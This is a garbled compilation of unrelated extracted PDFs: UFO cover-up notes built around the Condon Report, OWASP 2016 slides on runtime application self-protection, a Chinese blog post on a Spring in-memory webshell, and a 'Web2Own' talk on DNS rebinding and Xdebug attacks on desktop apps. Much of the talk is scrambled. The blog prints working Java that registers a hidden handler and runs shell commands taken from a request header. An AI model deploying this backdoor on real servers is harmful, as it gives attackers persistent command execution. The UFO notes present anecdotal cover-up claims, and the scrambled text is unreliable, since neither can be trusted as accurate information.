This final report (Formally titled Scientific Study of Unidentified Flying
Objects but commonly called the Condon Report) was published in 1968.
It officially concluded that no UFO reports were anomalous, all UFO reports
had conventional explanations, and further study of the subject would not be
worthwhile. The Report’s conclusions were generally welcomed by the
scientific community, and have been cited as a decisive factor in the
generally low levels of interest regarding UFOs among academics in
subsequent years. Peter Sturrock writes that the report is "the most
influential public document concerning the scientific status of this (UFO)
problem. Hence, all current scientific work on the UFO problem must make
reference to the Condon Report."
However, critics--then and now, including some of the Committee’s
members--have charged that the Committee’s final report was biased,
unscientific and shaped by the Air Force’s expectations. Furthermore, critics
have noted that Condon's summaries of UFO case studies are often sharply
at odds with the reports they attempt to describe.
Astrophysicist Peter Sturrock writes that "The great weight attached to this
report by scientists, by the public and perhaps by officers of the federal
government, is based on the presumption that the study was, in fact,
scientific. This has been disputed by a number of individuals," perhaps most
notably physicist James E. McDonald and astronomer Hynek. (Sturrock, 37)
Sturrock himself offered a detailed critique of the Committee, noting what
he argues are often glaring errors and contradictions.
Among the most obvious discrepancies frequently noted by critics is the fact
that while the Condon Report declared that all UFO reports had prosaic
explanations, they simultaneously classified 30 percent of their 56 case
studies as "unknown"; this was a higher percentage of unknowns than any
previous Air Force UFO study. A few of the cases were judged most
puzzling, even after detailed analysis, but Condon made no mention of these
instances.
Beyond the Report’s disputed conclusions, the Committee was plagued with
infighting and controversy nearly from its inception. Of sixteen original
Committee members, two were fired, one resigned in protest, and another
stepped down after facing legal troubles unrelated to the Committee. Citing
work by Dr. Swords, Sturrock notes "of the fifteen top staff members, at
least twelve ... definitely disagreed with (Condon)" and his methods, ideas
and conclusions. (Sturrock, 46) This infighting led to a high turnover rate
amongst the staff.
On August 9, 1966, Low wrote a memorandum intended to persuade the
more reluctant faculty to accept the UFO project. This so-called "Trick
Memo" explained how the University could perform the project without
risking their reputation, and how the University UFO research project could
arrive at a predetermined conclusion while appearing objective. In part, Low
wrote:
"Our study would be conducted almost entirely by non-believers who,
though they couldn't possibly prove a negative result, could and probably
would add an impressive body of thick evidence that there is no reality to the
observations. The trick would be, I think, to describe the project so that, to
the public, it would appear a totally objective study but, to the scientific
community, would present the image of a group of non-believers trying their
best to be objective but having an almost zero expectation of finding a
saucer." Low also suggested that if the study focused less on "the physical
reality of the saucer", and more on the "psychology and sociology of person
and groups who report seeing UFOs", then "the scientific community would
get the message". (Clark, 594)
THE MEMO: On August 9, 1966, Low wrote a memorandum intended to
persuade the more reluctant faculty to accept the UFO project. It explained
how the University could perform the project without risking their
reputation, and how the University UFO research project could arrive at a
predetermined conclusion while appearing objective. In part, Low wrote:
"Our study would be conducted almost entirely by non-believers who,
though they couldn't possibly prove a negative result, could and probably
would add an impressive body of thick evidence that there is no reality to the
observations. The trick would be, I think, to describe the project so that, to
the public, it would appear a totally objective study but, to the scientific
community, would present the image of a group of non-believers trying their
best to be objective but having an almost zero expectation of finding a
saucer." Low also suggested that if the study focused less on "the physical
reality of the saucer", and more on the "psychology and sociology of person
and groups who report seeing UFOs", then "the scientific community would
get the message". (Clark, 594)
In other words, focus on ad hominem arguments and not the data ...
Major Tony Pfaff – “lest everyone think we’re loonies.”
Herb Strentz, Prof of Journalism, in 1970 survey of UFO press coverage –
estimated “Hundreds of thousands, perhaps a million or more, UFO news
items were published in the nation’s daily newspapers during the years
1947-1966.
Also – he was on staff for the Condon Committee, I talked to him, and he
said it was anything BUT science.
A CONTINUING STUDY HAS BEEN SUGGESTED SEVERAL
TIMES, SECRETLY, INSIDE THE GOVERNMENT.
Who would do it? Relevant corporate – scientific – government
– and intelligence professionals. We can keep secrets. e.g. U-boats off the
Atlantic Coast during WW2. Japanese flying bombs reached as far east as
Pennsylvania. No one knew.
deception: illusion, misdirection, and ridicule
ridicule:
NASA responding to astronaut reports by calling them on “bleary
eyed astronauts”
commercial pilots on accusations of drinking
fighter pilots fearing they won’t fly again
JAL incident over Alaska – Richard Haines told me he testified on
behalf of the pilot who was quietly reinstated without a black mark. He had
reported an immense craft near Alaska (as have others) and was relived of
his duties.
Quote from Edgar Mitchell (see interview at www.thiemeworks.com) - yes
there is a group managing it. From intelligence liaison to the joint chiefs.
One reason for managing this event: “cultural intrusion”
On December 14, 1960, The Brookings Research Institute in
Washington released a report prepared during 1960 for NASA entitled
"Proposed Studies on the Implications of Peaceful Space Activities for
Human Affairs", including a section entitled "Implications of a
Discovery of Extraterrestrial Life". (Commonly referred to as "the
Brookings Institute report".) The report discusses effects of meeting
extraterrestrial life: "It is possible that if the intelligence of these
creatures were sufficiently superior to ours, they would choose to have
little if any contact with us. . . "
SPACE-LIFE REPORT COULD BE SHOCK, UFOI, Vol. I,
No. II (Dec 1960 - Jan 1961 issue)
The discovery of intelligent space beings could have a severe
effect on the public, according to a research report released by the
National Aeronautics and Space Administration. The report
warned that America should prepare to meet the psychological
impact of such a revelation.
The 190-page report was the result of a $96,000 one-year study
conducted by the Brookings Institution for NASA's long-range
study committee.
Public realization that intelligent beings live on other planets
could bring about profound changes, or even the collapse of our
civilization, the research report stated.
"Societies sure of their own place have disintegrated when
confronted by a superior society," said the NASA report.
"Others have survived even though changed. Clearly, the
better we can come to understand the factors involved in
responding to such crises the better prepared we may be."
Even though the UFO problem was not indicated as a reason for
the study, it undoubtedly was an important factor. Fear of public
reaction to an admission of UFO reality was cited as the main
reason for secrecy in the early years of the AF investigation.
(Confirmed to NICAP's present director in 1952-3, when the AF
was planning to release important UFO reports, also the famous
Utah motion-pictures of a UFO formation.)
This report gives weight to previous thinking by scholars who
have suggested that the earth already may be under close scrutiny
by advanced space races. In 1958, Prof. Harold D. Lasswell of the
Yale Law School stated:
"The implications of the UFOs may be that we are
already viewed with suspicion by more advanced
civilizations and that our attempts to gain a foothold
elsewhere may be rebuffed as a threat to other systems of
public order." (UFO Investigator, Dec. 1958.)
(asking a CIA agent – how should we talk about this? answer: you can’t. and
don’t forget how easy it is to discredit people. [they’ll think we’re all loonies
...” an Army Counter Intelligence Specialist]
COMETA - 1999 - speaking for Europeans – “It is clear that the Pentagon
has had, and probably still has, the greatest interest in concealing, as best it
can, all of this research, which may, over time, lead the United States to hold
a position of great supremacy over terrestrial adversaries, while giving it a
considerable response capability against a possible threat coming form
space.”
[On Friday July 16, 1999 an important document was published in France
entitled, UFOs and Defense: What must we be prepared for? ("Les Ovni Et La Defense:
A quoi doit-on se préparer?"). This ninety-page report is the result of an in-depth study of
UFOs, covering many aspects of the subject, especially questions of national defense.
The study was carried out over several years by an independent group of former
"auditors" at the Institute of Advanced Studies for National Defense, or IHEDN, and by
qualified experts from various fields. Before its public release, it has been sent to
French President Jacques Chirac and to Prime Minister Lionel ospin.
In its final recommendations, COMETA stresses again the need to:
1.Inform all decision-makers and persons in positions of responsibility.
2.Reinforce means of investigation and study at SEPRA.
3.Consider whether UFO detection been taken into account by agencies engaged
in surveillance of space.
4.Create a strategic committee at the highest state level.
5.Undertake diplomatic action with the Unites States for cooperation on this most
important question.
6.Study measures which might be necessary in case of emergencies.
Finally, this document is accompanied by seven interesting appendices which are
worth reading even by seasoned ufologists:
1.Radar detection in France
2.Observations by astronomers
3.Life in the Universe
4.Colonization of space
5.The Roswell case and possible disinformation
6.Antiquity of the UFO phenomenon and elements for a chronology.
7.Reflection on various psychological, sociological and political aspects of the
UFO phenomenon.]
Incident at Exeter – first-hand report from a NSA analyst whose son-in-law
was at the base and told him the USAF issued a cover story and that “we
did not have any idea what they were.” There was no B52 exercise that
night, as claimed, and Hynek was told by officers at the base when he
investigated: “We just don’t know.”
If the research IS being done ... how would we know?
a conversation with an intelligence professional about recruitment ...
symptoms of crossing the threshold.
Some concluding thoughts – what might “they” be doing? Why are
governments like ours still reluctant to reveal what they know when the
governments of Brazil, France, Belgium, and others have opened files and
called for global collaboration in responding to the phenomena? What are
the genuine security concerns and implications? Why is it inappropriate to
speak of the “government” as the agency that is acting in this instance?
A Short List of Selected Resources
This abbreviated list is intended to suggest a little of the context in which
this complex domain might be explored.
Public Opinion by Walter Lippmann (Free Press: Simon and Schuster:
copyright 1922 renewed 1949)
Propaganda by Edward Bernays (Ig Publishing: Copyright 1928, renewed
2005)
The Report on Unidentified Flying Objects by Edward J. Ruppelt (Ace
Books: 1956) - (compare first and second editions)
Flying Saucers: Top Secret by Major Donald E. Keyhole (G. P. Putnam’s
Sons: 1960)
Flying Saucers by Coral E. Lorenzen. The New American Library: 1962.
Flying Saucers: Serious Business by Frank Edwards (Lyle Stuart Inc.: 1966)
The Invisible Government by David Wise and Thomas B. Ross. Random
House. NewYork. 1964.
Incident at Exeter. John G. Fuller. G. P. Putnam’s Sons. 1966.
The controversy over unidentified flying objects in America: 1896-1973 by
David Jacobs (Thesis - University of Wisconsin, Madison: 1973)
The CIA and the Cult of Intelligence by Victor Marchetti and John D. Marks
(Dell: 1974)
The UFO Experience: A Scientific Inquiry by J. Allen Hynek (1975,
reissued Marlowe and Company 1998)
The Tears of Autumn by Charles McCarry (Fawcett 1976 reissued Overlook
TP: 2007)
Wilderness of Mirrors: Intrigue, Deception, And the Secrets that Destroyed
Two of the Cold War’s Most Important Agents [James Jesus Angleton and
William Harvey] by David C. Martin (The Lyons Press: 1980)
Uninvited Guests by Richard Hall. Aurora Press. 1988.
Unconventional Flying Objects: A Scientific Analysis by Paul R. Hill.
Hampton Roads Publishing Company. 1995.
The Closed World: Computers and the Politics of Discourse in Cold War
America by Paul N. Edwards (The MIT Press: 1996)
The UFO Book: Encyclopedia of the Extraterrestrial by Jerome Clark.
Visible Ink. New York. 1998.
The UFO Encyclopedia : The Phenomenon from the Beginning (2 Volume
Set) by Jerome Clark. Omnigraphics. 1998.
The UFO Enigma by Dr. Peter A. Sturrock. Warner Books. 1999.
The Cultural Cold War: The CIA and the World of Arts and Letters by
Frances Stonor Saunders. The New Press. New York. 1999. (published in
the UK under the title “Who Paid the Piper? by Granta Publications.
CE-5: Close Encounters of the Fifth Kind by Richard F. Haines, Ph. D.
(Sourcebooks Inc. 1999)
Manufacturing Consent: The Political Economy of the Mass Media by
Edward S. Herman and Noam Chomsky (Pantehon: 2002 (reprinted edition))
The Missing Times: News Media Complicity in the UFO Cover-up by Terry
Hansen. Xlibris: 2000.
UFOs and the National Security State by Richard M. Dolan (revised
edition). Hampton Roads Publshing Company. 2002.
Change of State: Information, Policy and Power by Sandra Braman (The
MIT Press: 2006).
selected works by Jacques Vallee:
Passport to Matagonia: On UFOs, Folklore, and Parallel Worlds by Jacques
Vallee (McGraw-Hill: 1993)
Anatomy of a Phenomenon: Unidentified Objects in Space – A Scientific
Appraisal by Jacques Valle (NTC/Contemporary Publishing: 1965)
Revelations by Jacques Valle (Ballantine Books – reprint: 1992)
Confrontations by Jacques Vallee (Independent Publishers Group: 1990)
Dimensions by Jacques Vallee (Souvenir Press: 1988)
items to google:
“How to Build a UFO ... Story” by Richard Thieme. originally published in
Internet Underground and anthologized in numerous collections.
“Are There UFOs on Mars?” by Richard Thieme, at www.thiemeworks.com,
with a collection of interviews
“I was a Victim of the KGB” by Richard Thieme, published in Common
Dreams (March 16 2005) | pdf |
企业应用层面临的IT安全风险与危机
何迪生
Dixon Ho
OWASP AppSec Asia 2016
今天分享的内容 What we will share today !!!
• 安全领域的未来
What Security Domain will look Like in the Future
• 当前面临的最大挑战
Review of today’s Security Challenge
• 下一步应该做什么?
What should we do immediately/next step?
安全领域未来的世界是什么样….
Let‘s discuss about what the Security Domain will look like in the future……
问题: 大家有没有思考过未来的安全体系会是什么样?
Question: Have you think about what will be the Security System in the future ?
安全领域的未来 The future Security Realm !!!
公元2016年3月 围棋
人机大战“历史性对
决”:李世石败给机
器人 AlphaGo
AD March 2016
“Historic Battle"
Go Man-Machine
Battle results were
announced:
AlphaGO win a
victory over Lee
Sedol
公元2016年3月,李世石在“人机大战”以 1:4 输给
了AlphaGo围棋机器人!
In March 2016, Lee Sedol in “Man-Machine War" with
result of 1 to 4 lost to AlphaGo Robots!
•
实际上,随着2012年深度学习技术取得突破,人工智能等相关技术开始被应用,它不仅可以帮助我们造出各种聪明、可爱的机器人,还可以投入在许多
不同行业。
•
Indeed, as the breakthrough of deep learning technology in 2012, Artificial Intelligence-related technology has begun to apply in many areas,
it’s not only help us to create all kinds of clever, cute robots, these technologies are beginning to be applied in the field of many industries.
如此“智能”的AlphaGo机器人,引发了“人工智能会
不会超越人类”的争论。
AlphaGo let us know that robots can already so "smart"
and even give rise to “A.I. will surpass Human"
argument.
• 而比赛结束后,AlphaGo凭借一场胜利,分数增
加到3586,排名也超越韩国朴永训、日本井山
裕太而来到第二,仅次于中国棋王柯洁(3621分)。
• After this Man-Machine war of the Century ,
AlphaGo obtains 3586 points, ranking
above Park Jungwhan(Korea), Lyama Yuta
(Japan) and came second only to the King
of Go - Ke Jie from China (3621 points).
•
Google AlphaGo与李世石之间的人机世纪大战已经落下帷幕,人工智能4:1取得
胜利,而且因为“终于”输了一场,AlphaGo也有了正式的WHR等级分数和排名。
AlphaGo是故意输一场 —— 占WHR排名?
Does AlphaGo intentionally lose for an official WHR rankings?
•
Man-Machine war of the Century between Google AlphaGo and Lee Sedol
has ended, resulting a AI 4: 1 victory, due to "finally" lost one game,
AlphaGo has formally obtained the WHR rankings
AlphaGo下一个对手是?
The next opponent of AlphaGo is?
中国围棋第一人怎么能咽的下这口气吗?!
Can the King of Go in China may let go this insult ?!
3月15日,AlphaGo的世界排名也由第四名上升到了第二名,仅次于中国棋手柯洁。据说,谷歌工程师已向柯洁下
了“战书”,称:“感谢输给李世石,拥有世界排名。柯洁,你准备好了吗?”对此,柯洁方面会如何应对呢?
March 15, AlphaGo’s world ranking rose from the 4th place by the 2nd, second only to Chinese player Jie
Ke. It is said that Google has challenged Ke Jie with a “Gauntlet” , and says: "Thanks losing to Lee Sedol
that AlphaGo can obtain a world ranking finally! Ke Jie, are you ready?“. How Ke Jie will deal with it?
未来机器定能超越人脑, 会有更多的行业AlphaXXX出现吗?
...司法行业,医疗行业,安全行业…等!
Will the future machines be able to surpass the human brain,
and enable more industrialized AlphaXXX?
... says Law, Medical, Security Industries ... and so on!
司法行业 / Law Industry:AlphaLaw?
AlphaLaw 律司/法律咨询 Lawyers / Legal Advice:
• 我们的司法工作是否会被人工智能所取代?
Will the job of our justice system be replaced by artificial intelligence?
• 有一天如果一台机器可以回答大部分的法律咨询问题,那我们法律咨询行业是否就将被终结?
One day, if a machine can answer and handle most of the requirements of legal advice
service, will it replace the traditional legal consulting service?
AlphaJudge 法官/司法裁决 Judges / judicial decisions:
• 同样,将来某一天,我们准备一千个案子,然后交给一台机器和一千名法官同时做裁决,要是最后
的结果差不多,或者当事人更加认可机器的裁决,那么法官是否也会失业?
Similarly, if one machine can handle one thousand cases that normally requiring one
thousand judges to handle, with a very similar outcome in the future, will the judges
lose their job?
医疗行业 / Medical Industry : AlphaMED → IBM Watson
那安全领域呢… AlphaSEC?
How about the Security Industry… AlphaSEC?
• 我们会不会有安全人工智能或安全机器人?信息安全人
工智能时代会实现吗?
• Will Security Artificial Intelligence Robot and/or
Information Security A.I. era become reality?
微软的K5只是一个保安机器人!那IT系统会有安全机器人吗?
Microsoft’s K5 is just a Security Guard Robot! How about in IT System?
• 我们未来会有AlphaSEC吗?
Do we have AlphaSEC for IT in the future?
• ITSec未来会是一个什么模样?
What is the ITSec will look like in the future?
• 让我们一起预览....
Let’s take a preview….
• 人Human
• Past Experience
• 安全人工智能Security Artificial Intelligence (S.A.I.)
• New Experience
• 安全机器人Security Robotic
• Execution
安全领域的未来方向
Future Trend Analysis in Security
• 人Human
• Design/Define/Manage + Monitor/Q.A.
• 安全人工智能Security Artificial Intelligence (S.A.I.)
• The Core Brain - Self-Study/Build/Refine/Integrate
• New Experience
• Self-Study KB on Security
• 安全机器人Security Robotic
• Leg & Arms - Execution
• Patrol/Manage/Execute S.A.I. Model
• Integrate through SAI API and SDSec
安全领域的未来方向
Future Trend Analysis in Security
Human
S.A.I.
SecRobotic
Government
& Governance
Standardization
and Compliance
Adaptation Period:
• Kicked off 8 years ago at 2008 (AISec 2008)
Objective:
• Convert the Traditional Knowledge &
Experience to New Security Domain A.I.
Adaptation Period:
• Start to mature in 3 to 6 years from now
Objective:
• Build a S/W SecRobot based on SAI API and
SDSec
Adaptation Period:
• Tee-off at current and will mature in 2 to 5 Years
Objective:
• Enable Self-learning Adaptive Security & Threat Model to drive
controlling - a set of useful analytic and decision-making techniques base
on SIEM/ Sec Big Data / Threat Intelligence / Behavior Detection and
Analysis/ Machine Learning (ML) / SOC / Risk Control System
Future Trend Analysis in Security
安全领域的未来方向
Future Trend Analysis in Security
安全领域的未来方向
Future Trend Analysis in Security
安全人工智能(S.A.I.)框架
Security Artificial Intelligence (S.A.I.) Framework
今天是OWASP大会,我们先从未来返回当下, 让重点放回现在面对
的AppSec挑战
Today is OWASP Conference, so let’s return from the future
and focus in our current AppSec challenges
TalkTalk 四百万用户的信用卡信息泄露
网络空间是一个非常危险的领域 ….
十万家用智能系统被黑客攻击
高中生入侵 中央情报局 高管的私人邮箱
More……
香港航空某站SQL注入
涉及156万乘客信息/268万机票信息/八千多员工信息
中石化车e族APP存在SQL注入漏洞
可跨9个库
海尔 旗下日日顺商城SQL注入
可导致300万会员信息泄漏
邯郸市 工信办漏洞
危及大量个人信息以及金额等数据,百万用户数据
中国电信 翼支付某系统漏洞
泄露400万用户信息、支付交易明细信息(超市购物/加油站加
油)以及充值等数据 。
安全挑战
安全现状
01
02
03
04
多样化的攻击越来
越难以防御
研发商在安全领
域投入少
超过80%的攻击
发生在应用层
WAF真的可以保
护应用系统安全么?
周界安全和应用安全投入比例为 23:1
调研员:Joseph Feiman, Gartner Analyst
调研报告主题: 让应用程序做自我保护
Sept 25, 2014
相关分析报告
安全对策:深度安全防御模型
• 分层次防御
• 提高攻击者被检测到的概率
• 降低攻击者成功得手的几率
Layer 1-7
漏洞攻击
漏洞防御
深度防御模型
常见补救措施有什么?
• 发现漏洞,及时修复它,Great!
• 1个漏洞很快能修复;10个漏洞勉强应付;如果同时面对100个甚至
1000个漏洞呢?
• 如果是一些很久远连源代码都找不到的应用漏洞….
•
漏洞补救
常见的安全工具!
• 安全软件的开发生命周期
Security Software Development Life Cycle
安全领域的指导
人才少见
缺乏安全且有效的
流程指导文档
研发团队往往很少
考虑安全因素
今天应用安全行业挑战
怎样解决?
传统 到 未来 - RASP
实时应用层自我保护
RASP?
应用层防护的发展
过去 / 现在
现在 / 将来
调研员:Joseph Feiman, Gartner Analyst
调研报告主题: 让应用程序做自我保护
Sept 25, 2014
What is RASP ?
可以为软件产品提供实时保护,使其免受漏洞所累
实时响应,通过后台
展现给用户
漏洞攻击阻断
漏洞攻击抓取
(Runtime Application Self-Protect)
RASP 如何工作?
Threat
Mitigation
Layer 1-7
漏洞攻击
漏洞防御
深度防御模型
Happy Security Admin
10种规则覆盖
OWASP十大攻
击类别
OneRASP的
检测目录
Java版本: 安装在标准的JVM上, 安装OneRASP 的探针后,无需改
变程序代码即可保护您的应用安全。
对于应用层安全来说,运行时是最理想的保护切入点:
可视性:
无需修改代码,能看到应用的访问内容
管理性和移植性:简单的与JVM集成,无需任何架构改动
请求和输入验证: 依据漏洞规则集检测和验证所有访问的安全性
敏捷阻塞: 攻击可以在运行时被终止而不用担心应用程序崩溃
正常的服务请求
应用程序
应用层攻击分类
攻击
为什么我们需要RASP技术
• 程序完成的太久远,找不到源代码
• 发现的应用漏洞数量太多
• 缺少安全专家去推动SSDLC
• 开发团队缺乏安全经验
• 第三方供应商的漏洞修复周期长
• 系统中存在未知的漏洞
你需要使用OneRASP产品打虚拟补丁,
来保护你的应用程序
更多问题
•
超过80%的漏洞攻击发生在应用层
•
通过更改代码来修复漏洞的周期长
•
在此期间,通过补偿控制来保护你的应用程序
企业应该通过简化自己的系统来抵御黑客攻击,而不是把系统修改
的越发复杂。
——Gartner 2015
Now!市场现状
App
App
跨站脚本攻击
SQL注入
发现:已知的漏洞扫描
分布式拒绝服务攻击:
Parse Double
系统信息泄漏
应用服务器
Application
周边安全体系(防火墙/IPS/AV/WAF等)
命令注入攻击
Poor
Application
More details, please visit
www.OneASP.com
Thanks!
谢谢! | pdf |
1
CVE-OLOO-OOXVQ扩展
中午看了下这篇⽂章https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg,发现了点问题,记
录下
选⽤RequestMapping内存⻢,demo如下
2
测试的时候发现注⼊可以成功,但⽆法访问executeCommand⽅法,查看报错堆栈,提示参数错误,没
有指定executeCommand需要的String参数,但实际有传。
Java
复制代码
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod =
requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandle
rMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand =
SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand",
String.class);
PathPattern pathPattern = new
PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new
PatternsRequestCondition(pathPattern);
ParamsRequestCondition paramsRequestCondition = new
ParamsRequestCondition("cmd");
RequestMappingInfo requestMappingInfo = new
RequestMappingInfo("", patternsRequestCondition, null,
paramsRequestCondition, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping,
new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
// cmd = "calc";"calc"
String execResult = new
Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\
A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
3
报错在AbstractNamedValueArgumentResolver.class#updateNamedValueInfo,parameter对象⾥没
获取到参数名,另外或者info.name能获取到也⾏
查看上级调⽤,info是通过this.createNamedValueInfo返回的
4
这个⽅法的重写⽅法对应的类,仔细观察都是各种spring⾥的注解解析类,其实到这也就明⽩了为啥⽆
法传参,是因为我们的⽅法没有注解,⽆法解析参数。
这个其实⼀开头就应该发现的,我们要写的是 RequestMapping 内存⻢,⾃然应该想到通过注解来
提取参数。像 @RequestParam 、 @PathVariable 等等。
这⾥采⽤ @RequestHeader
修改代码如下
5
注⼊成功
Java
复制代码
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod =
requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandle
rMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand =
SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand",
String.class);
PathPattern pathPattern = new
PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new
PatternsRequestCondition(pathPattern);
// ParamsRequestCondition paramsRequestCondition = new
ParamsRequestCondition("Cmd");
HeadersRequestCondition headersRequestCondition = new
HeadersRequestCondition("Cookies");
RequestMappingInfo requestMappingInfo = new
RequestMappingInfo("", patternsRequestCondition, null, null,
headersRequestCondition, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping,
new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(@RequestHeader(value =
"Cookies") String cmd) throws IOException {
// cmd = "calc";"calc"
String execResult = new
Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\
A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
6
头部插⼊命令即可,如果指定头部没有,就是正常⻚⾯访问,不影响业务。
⾃动化
7
⾄于为啥⽂章⾥不需要这么操作也能⽤,暂时不得⽽知。
然后这个⻢存在的问题还有,因为是requestMapping,如果存在拦截器、过滤器等做认证,就会存在
⽆法访问的问题。 | pdf |
Web2Own
ATTACKING DESKTOP APPS FROM
WEB SECURITY'S PERSPECTIVE
Who are we
• 9aX.TgUh
• LYbWYbhKYWifhmPiUbkiEUV
• FYaVYf cZ)cdg<L?LYUa
• KdYU_Yf cZ RYfcG\hg+)*1UbX ABL;+)*1=iVU
Who are we
• 9AYUfaYb*
• KYWifhmJYgYUfW\YfbLYbWYbhKYWifhmPiUbkiEUV
• KdYU_YfcZ:gUKYWOYgh +)*1
Who are we
• 9L)a-hcT
• KYWifhmJYgYUfW\YfbLYbWYbhKYWifhmPiUbkiEUV
• FYaVYf cZ KmWcjYf KYWifhm LYUa
• KdYU_Yf cZ RYfcG\hg+)*1UbXABL;+)*1=iVU
;UW_fcibX
:hhUW_b XYg_hcd Uddg
I know about web security
I can do little reversing
I know nothing about pwning
Can I pop up a
like people in Pwn2Own?
LfUXhcbU Uddg jg \mVfX Uddg
VS
DYYdkYV gYWifhm fYUh
:hhUW_gifZUWYgcjYfjYk
• HdYbYXdcfhg
• MJBgW\YaYg
• :dd ZYUhifYg
HdYbYX Icfhg
O\mcdYbdcfhg
• OYVgYfjYf
• cWU XmbUaWkYVghY
• :IB WU
• =YVib
• Hh\Yfg
AckhcUWWYgghch\YgYdcfhg8
• VbXcb)')')')
• VbXcbcWU\cgh
• VfckgYfgcifccXZfYbX
• ALLI dfchcWc
• hcYfUbWYcZYUWcaaUbXg
KUaYHfbIcWm !KHI"
• LkcdUYg\UjYgUaY3
• dfchcWc% \cgh% dcfh
• =YZUihVY\Ujcfgb VfckgYfg
same origin
different origin
send simple requests
✓
✓
send requests with custom headers
✓
✘
get response
✓
✘
=GKJYVbXb
Pull Payload
bypass SOP
rebind.com
x.x.x.x
rebind.com
127.0.0.1
Attack
rebind.com
127.0.0.1
DNS Changed
Same
Origin
=GK JYVbXb dfYfYeighYg
• OYVgYfjWYXcYgbchW\YW_h\Y\cghbUaY
• NWhakciXkUhibh=GK\UgW\UbYX
• ;fckgYf\UgU=GKWUW\Y
<KJ? jg =GKJYVbXb
DNS Rebinding
CSRF
Bypass SOP
✓
✘
Pass hostname check
✘
✓
effective immediately
✘
✓
<UgY ghiXm3 :dcdiUf h\fXdUfhm dib
• OY<\UhIibFUWHK
• DYYdh\YfYWUYX aYggUY
• :ihcfYdmUaYggUY
• o
• *,)))ghUf(+)))Zcf_g
• Khcd aUbhUbYXacbh\gUc
\hhdg3((h\iV'Wca(LD__HKYf(OY<\UhIibFUWHK
:hhUW_b kh\ =GK JYVbXb
• ;bXcb*+0')')'*3.+0))
• (kYW\Uhdib(igYf
• (kYW\Uhdib(W\Uhc
• (kYW\Uhdib(gYbXaYggUY
• KhUm cb h\Y Yj dUY%UhhUW_Yf WUb'''
• @YhUZfYbXg
• @YhUW\Uhcg
• KYbXUbmaYggUYhcUbmigYf
https://xlab.tencent.com/cn/2018/10/23/weixin-cheater-risks/
?l8
• Kh UZZYWhYXVm<KJ?UhhUW_
• KYbX Ubm aYggUY hc U_bckbigYf
https://github.com/TKkk-iOSer/WeChatPlugin-
MacOS/commit/3bf0a352ddbd85250eb00c3f4ed21bb7810b77f4
NSString *hostname = request.headers[@"Host"];
NSString *url1 = [NSString stringWithFormat:@"127.0.0.1:%d", port];
NSString *url2 = [NSString stringWithFormat:@"localhost:%d", port];
if(!([hostname isEqualToString:url1] | [hostname isEqualToString:url2])){
return [GCDWebServerResponse responseWithStatusCode:404];
}
EYggcbYUfbYX
• :kUmg W\YW_ h\Y \cgh
• DYYd =GK fYVbXb UkUm
• MgY ibdfYXWhUVY XUhU(dUh\
• IfYjYbh <KJ? UhhUW_
• :jcX igb h\fXdUfhmdibg
<UgY ghiXm3 PXYVi
• IAI XYVib YlhYbgcb
• AckXcYghkcf_8
• JYeiYghkh\ P=>;M@TK>KKBHGTKL:JL bdUfUag
• \hhd3((*+0')')'*(bXYl'd\d8P=>;M@TK>KKBHGTKL:JL
• PXYViWcbbYWhghc UgYfjYf
• KYfjYfbhYfUWhgkh\PXYViigb =;@I WcaaUbXg
• O\W\ gYfjYfhc WcbbYWh8!bUZUVUW_cfXYf"
• lXYVi'fYachYT\cgh
• P?cfkUfXYX?cf
• JYachY:XXf
PXYViJYachY:hhUW_
• IfYfYeighYg
• lXYVi'fYachYTWcbbYWhTVUW_6*
• lXYVi'fYachYTYbUVY 6 *
• lXYVi'fYachYT\cgh gGcbY
• ?cfacghcZh\YIAIXYjYcdYfg%mYg
• :hhUW_b
• KYh id U Yj gYfjYf kUhb Zcf PXYVi hc WcbbYWh
• MgY=GKfYVbXb UhhUW_hcgYbXU P?cfkUfXYX?cf\YUXYf
• >j gYfjYf gYbXdUmcUXhcPXYVi
• @YhUfYjYfgYg\Y
https://bugs.php.net/bug.php?id=76149
:hhUW_ gWYbUfc
ci UfY U IAI XYjYcdYf
ci igY PXYVi
BZ mci ghUm cb Ub Yj dUY Zcf -).) gYWcbXg
ci aUm VY \UW_YX
Hh\YfWUgYg
• GcXYCK=YVibdcfh
• \hhd3((ViYW)fY'Vcgdch'Wca(+)*1(),(WjY+)*10*/)dkbb
bcXYgXYjYcdYfg'\ha
• CUjU JFB !ZlYX b :df+)*1"
• JFBgiddcfhgALLI
• CUjUXYgYfUnY UhhUW_g
• \hhdg3((aVYW\Yf'h\iV'c(+)*1().(+*(CUjU<N>+)*1+1))(
open port
bind on
0.0.0.0
bind on
127.0.0.1
attack
remotely
DNS
Rebinding
CSRF
MJBKW\YaYg
MJBKW\YaYg
• UibW\ Uddg
• gYbX aYggUY b Udd
MJB KW\YaY cb ObXckg
• K\Y>lYWihYO!GMEE% E cdYb % E WcXY'YlY cdYbif * %GMEE%GMEE
%KOTKAHO"4
